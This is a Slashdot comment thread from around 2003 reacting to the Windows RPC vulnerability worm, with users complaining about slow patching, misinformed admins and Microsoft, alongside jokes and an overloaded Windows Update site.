I know that the ~3 weeks that the patch for the RPC vulnerability has been out for isn't a huge amount of time to test things, but with a vulnerability of this scale, it's really incumbent upon IT people to get networks patched quickly, and it really reflects poorly on the IT department of any organization that gets hit, if you ask me.

Misinformed users (1)

KamuZ (127113) | about 11 years ago | (#6682232)

Hello I believe the RPC vulnerability it's a great risk, but lets says that Microsoft had another similir vulnerabilities (IIS?). THe big rpbolem here it's the users and the sysadmins witch a lack of knowledge or the actitude "i believe everything in Norton's site". I remember a few weeks then it came out the RPC vulerability, sites like [] have it in "Low risk". Another example it's the people who rowks on my school, there are several sysadmins (like 4) and they sent an email about using a firewall, and that will fix the problem. I mean, you need to apply patches... you NEED to deploy fix tools, but no. Maybe it's not government, but come one, you can get a shell with the vulnerability too in a profesor computer, student's paradise? maybe. This misinformed users because of bad admins, it's like virus' hoaxes in E-mail...

New Worm Released by Microsoft! (-1)

Anonymous Coward | about 11 years ago | (#6682236)

This worm turns on automatic updates in a vain attempt to ensure that user machines are fully patched.

Microsoft us also planning to include a flash version of Solitaire on the windows update website in a bod to encourage users to help themselves.

Bill Gates was unavailable for comment until IT staff had examined his machine at work.

when oh when (1)

b17bmbr (608864) | about 11 years ago | (#6682242)

will they learn? this is our tax money at work. holy crap. we must demand better. can the cost of linux transition really be more than all the windows problems?

The Virus Writer left a message. (1)

DRWHOISME (696739) | about 11 years ago | (#6682249)

Heard it on Cnn. Said something like "Bill Gates why do you let this happen".

Pretty funny. sure was slow today (0)

Anonymous Coward | about 11 years ago | (#6682253)

That Microsoft update website (the first thing I go to after the rare occasion of me rebooting to my windows partition) was slow a syrup today. It seemed rather odd, but I assumed that it was due to load.

Unbelievable (1)

veldmon (595009) | about 11 years ago | (#6682265)

This is the operating system most of the computers in the world use? It's truly telling mostly about the economic system that drives this world we live in. I am absolutely convinced that the U.N. should mandate the outlaw of software patents, multi-national corporations, and proprietary software.

This would certainly eliminate the deplorable labor conditions in the third world, as well as fix the awful problem of homogenous computer environments (i.e. M$ dominated networks).

Got one thing right (0)

Honor (695145) | about 11 years ago | (#6682274)

they got one thing right when they wrote it - Billy Gates why do you make this possible? Stop making money and fix your software!! . yea, its a huge pain now, but think of it this way - either microsoft realizes it needs to fix its problems and does so, or microsoft dies due to the worm. it's a win-win situation :)

Windows Update feelin' it (1)

pctainto (325762) | about 11 years ago | (#6682278)

I'm trying to get on Windows Update right now (I was already patched, but, just routine patching -- flame away). Its running really slow... probably because of this virus. hah. sucks to be you
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  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>